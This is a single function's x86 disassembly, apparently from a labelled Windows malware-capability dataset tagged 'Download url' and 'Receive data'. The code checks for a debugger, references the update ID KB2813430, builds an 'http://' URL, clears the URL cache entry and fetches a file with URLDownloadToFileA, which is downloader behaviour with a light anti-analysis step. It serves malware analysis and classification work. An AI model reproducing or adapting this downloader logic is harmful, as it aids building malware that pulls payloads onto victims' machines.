Function at 0x413273
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
push 8
call fcn.004e0828
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x617d55
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [0xb5ed6a], 0x601
jge 0x4132fb
mov dword [ebp - 0x1c], esp
xor eax, eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x4132ec
push 0x43
push 0x426d229
push 6
call fcn.004e0834
add esp, 0xc
test eax, eax
je 0x4132fb
mov eax, 1
jmp 0x413300
mov eax, 0
test eax, eax
je 0x413342
push 1
mov eax, str.KB2813430
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00413760
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x413332
push ebx
call fcn.004e082e
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x413342
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push VariantClear
push 0
push 0x618804
push VariantClear
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x413375
mov eax, 0x51934a
push eax
push 4
mov ebx, 0x148
call fcn.004e43d0
add esp, 0x34
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x4133cc
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.http:__
mov ecx, 2
call fcn.00401b2b
add esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4133c3
push ebx
call fcn.004e082e
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
jmp 0x4133ff
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x4133ea
push eax
mov ebx, eax
call fcn.00401ac0
inc eax
push eax
call fcn.004e0828
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4133fb
push ebx
call fcn.004e082e
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push VariantClear
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x413414
mov eax, 0x51934a
push eax
push 1
mov ebx, 0x24c
call fcn.004e3a50
add esp, 0x10
test eax, eax
je 0x413642
cmp dword [ebp + 0x10], 0
jne 0x4134b0
push VariantClear
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x41344e
mov eax, 0x51934a
push eax
push 1
mov ebx, 0x244
call fcn.004e3b70
add esp, 0x10
test eax, eax
je 0x4134a1
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x413487
push eax
mov ebx, eax
call fcn.00401ac0
inc eax
push eax
call fcn.004e0828
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x413498
push ebx
call fcn.004e082e
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
jmp 0x4134ab
mov eax, 0
jmp 0x4136f3
jmp 0x41363d
cmp dword [ebp + 0x10], 1
jne 0x413633
xor ecx, ecx
lea eax, [ebp - 0x14]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 0x63
jg 0x41362b
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x4134ed
push eax
mov ebx, eax
call fcn.00401ac0
inc eax
push eax
call fcn.004e0828
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4134fe
push ebx
call fcn.004e082e
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
call fcn.00414235
mov dword [ebp - 0x18], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x413521
mov eax, 0x51934a
push eax
push 1
mov ebx, 0x130
call fcn.004e4b50
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x413547
push ebx
call fcn.004e082e
add esp, 4
push dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
push eax
call fcn.00414296
mov dword [ebp - 0x20], eax
push 0x80000301
push 0
push dword [ebp - 0x14]
push 1
mov ebx, 0x168
call fcn.004e3e50
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
push eax
call fcn.00414235
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x618808
push dword [ebp - 0x24]
push 0x61880a
push dword [ebp - 0x20]
mov ecx, 5
call fcn.00401b2b
add esp, 0x14
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4135b4
push ebx
call fcn.004e082e
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4135c4
push ebx
call fcn.004e082e
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4135d4
push ebx
call fcn.004e082e
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4135e8
push ebx
call fcn.004e082e
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4135ff
mov eax, 0x51934a
push eax
push 1
mov ebx, 0x24c
call fcn.004e3a50
add esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x413624
jmp 0x41362b
pop ebx
pop ecx
jmp 0x4134c1
add esp, 8
jmp 0x41363d
mov eax, 1
jmp 0x4136f3
jmp 0x413675
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x413660
push eax
mov ebx, eax
call fcn.00401ac0
inc eax
push eax
call fcn.004e0828
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x413671
push ebx
call fcn.004e082e
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x4136a1
push 0x54a
push 0x426d229
push 6
call fcn.004e0834
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push 0
xor eax, eax
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x4136df
push 0x588
push 0x426d229
push 6
call fcn.004e0834
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
mov eax, 0
sete al
jmp 0x4136f3
push eax
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x413712
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x41370e
imul eax, dword [ebx]
jmp 0x413703
mov ecx, eax
test ecx, ecx
je 0x413731
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x41372a
push ebx
push eax
call fcn.004e082e
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x413718
call fcn.004e082e
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x413749
push ebx
call fcn.004e082e
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x413759
push ebx
call fcn.004e082e
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10